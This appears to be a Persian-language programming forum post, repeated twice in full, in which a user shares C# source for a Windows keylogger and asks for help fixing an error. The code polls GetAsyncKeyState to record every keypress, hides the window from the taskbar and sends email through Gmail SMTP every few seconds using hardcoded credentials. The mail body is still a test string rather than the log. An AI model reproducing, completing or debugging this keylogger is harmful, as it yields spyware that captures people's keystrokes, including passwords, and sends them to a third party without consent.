parsa lotfy
پنج شنبه 19 بهمن 1391, 20:10 عصر
دوستان من کیلاگری با کد زیر نوشتم :
using System;
using System.Collections.Generic;
using System.Collections;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Windows.Forms;
using System.Net;
using System.Net.Mail;
using System.Net.Mime;
using System.Net.NetworkInformation;
namespace WindowsFormsApplication1
{
static class Program
{
[STAThread]
static void Main()
{
Application.Run(new Form1());
}
}
public class Form1:Form
{
BackgroundWorker worker = new BackgroundWorker();
public string logs;
[System.Runtime.InteropServices.DllImport("user32")]
static extern int GetAsyncKeyState(long vkey);
public Timer timer = new Timer();
public Timer timer2 = new Timer();
public Form1()
{
InitializeBackgroundWorker();
this.Text = string.Empty;
this.ShowInTaskbar = false;
this.Opacity = 100 ;
this.ControlBox = true;
timer2.Tick += new EventHandler(timer2_Tick); // Everytime timer ticks, timer_Tick will be called
timer2.Interval = (5000) ; // Timer will tick evert 10 seconds
timer2.Enabled = true; // Enable the timer
timer2.Start();
timer.Tick += new EventHandler(timer_Tick); // Everytime timer ticks, timer_Tick will be called
timer.Interval = (100) ; // Timer will tick evert 10 seconds
timer.Enabled = true; // Enable the timer
timer.Start();
Button a = new Button();
a.Location = new System.Drawing.Point(100, 100);
a.Size = new System.Drawing.Size(50, 50);
a.Text = "salam";
this.Controls.Add(a);
}
private void InitializeBackgroundWorker()
{
worker.DoWork += new DoWorkEventHandler(worker_DoWork);
}
void worker_DoWork(object sender, DoWorkEventArgs e)
{
var fromAddress = new MailAddress("parsalotfy@gmail.com", "parsa");
var toAddress = new MailAddress("parsalotfy@gmail.com", "To Name");
const string fromPassword = "1234";
const string subject = "test3 ...";
const string body = "salam test3...";
var smtp = new SmtpClient
{
Host = "smtp.gmail.com",
Port = 587,
EnableSsl = true,
DeliveryMethod = SmtpDeliveryMethod.Network,
UseDefaultCredentials = false,
Credentials = new NetworkCredential(fromAddress.Address, fromPassword)
};
using (var message = new MailMessage(fromAddress, toAddress)
{
Subject = subject,
Body = body
})
{
smtp.Send(message);
MessageBox.Show("Mail Sended");
}
}
void timer_Tick(object sender, EventArgs e)
{
int code;
for (long i = 1; i <= 255; i++)
{
code = 0;
code = GetAsyncKeyState(i);
if (code != 0)
{
logs += (char)(i) + "*";
}
}
}
void timer2_Tick(object sender, EventArgs e)
{
worker.RunWorkerAsync();
}
}
}
نمیدونم چرا وقتی اجراش میکنم ، بک گراند ورکر کار خودشو به درستی انجام میده و میل هم ارسال میشه ، ولی ارور زیر رو میده !!! :متفکر:
http://upload.tehran98.com/img1/p7biy4ikvbbutr9z9z3b.png
اساتید میشه لطف کنین بگین چیکار کنم ارور نده ؟! :افسرده:
using System;
using System.Collections.Generic;
using System.Collections;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Windows.Forms;
using System.Net;
using System.Net.Mail;
using System.Net.Mime;
using System.Net.NetworkInformation;
namespace WindowsFormsApplication1
{
static class Program
{
[STAThread]
static void Main()
{
Application.Run(new Form1());
}
}
public class Form1:Form
{
BackgroundWorker worker = new BackgroundWorker();
public string logs;
[System.Runtime.InteropServices.DllImport("user32")]
static extern int GetAsyncKeyState(long vkey);
public Timer timer = new Timer();
public Timer timer2 = new Timer();
public Form1()
{
InitializeBackgroundWorker();
this.Text = string.Empty;
this.ShowInTaskbar = false;
this.Opacity = 100 ;
this.ControlBox = true;
timer2.Tick += new EventHandler(timer2_Tick); // Everytime timer ticks, timer_Tick will be called
timer2.Interval = (5000) ; // Timer will tick evert 10 seconds
timer2.Enabled = true; // Enable the timer
timer2.Start();
timer.Tick += new EventHandler(timer_Tick); // Everytime timer ticks, timer_Tick will be called
timer.Interval = (100) ; // Timer will tick evert 10 seconds
timer.Enabled = true; // Enable the timer
timer.Start();
Button a = new Button();
a.Location = new System.Drawing.Point(100, 100);
a.Size = new System.Drawing.Size(50, 50);
a.Text = "salam";
this.Controls.Add(a);
}
private void InitializeBackgroundWorker()
{
worker.DoWork += new DoWorkEventHandler(worker_DoWork);
}
void worker_DoWork(object sender, DoWorkEventArgs e)
{
var fromAddress = new MailAddress("parsalotfy@gmail.com", "parsa");
var toAddress = new MailAddress("parsalotfy@gmail.com", "To Name");
const string fromPassword = "1234";
const string subject = "test3 ...";
const string body = "salam test3...";
var smtp = new SmtpClient
{
Host = "smtp.gmail.com",
Port = 587,
EnableSsl = true,
DeliveryMethod = SmtpDeliveryMethod.Network,
UseDefaultCredentials = false,
Credentials = new NetworkCredential(fromAddress.Address, fromPassword)
};
using (var message = new MailMessage(fromAddress, toAddress)
{
Subject = subject,
Body = body
})
{
smtp.Send(message);
MessageBox.Show("Mail Sended");
}
}
void timer_Tick(object sender, EventArgs e)
{
int code;
for (long i = 1; i <= 255; i++)
{
code = 0;
code = GetAsyncKeyState(i);
if (code != 0)
{
logs += (char)(i) + "*";
}
}
}
void timer2_Tick(object sender, EventArgs e)
{
worker.RunWorkerAsync();
}
}
}
نمیدونم چرا وقتی اجراش میکنم ، بک گراند ورکر کار خودشو به درستی انجام میده و میل هم ارسال میشه ، ولی ارور زیر رو میده !!! :متفکر:
http://upload.tehran98.com/img1/p7biy4ikvbbutr9z9z3b.png
اساتید میشه لطف کنین بگین چیکار کنم ارور نده ؟! :افسرده: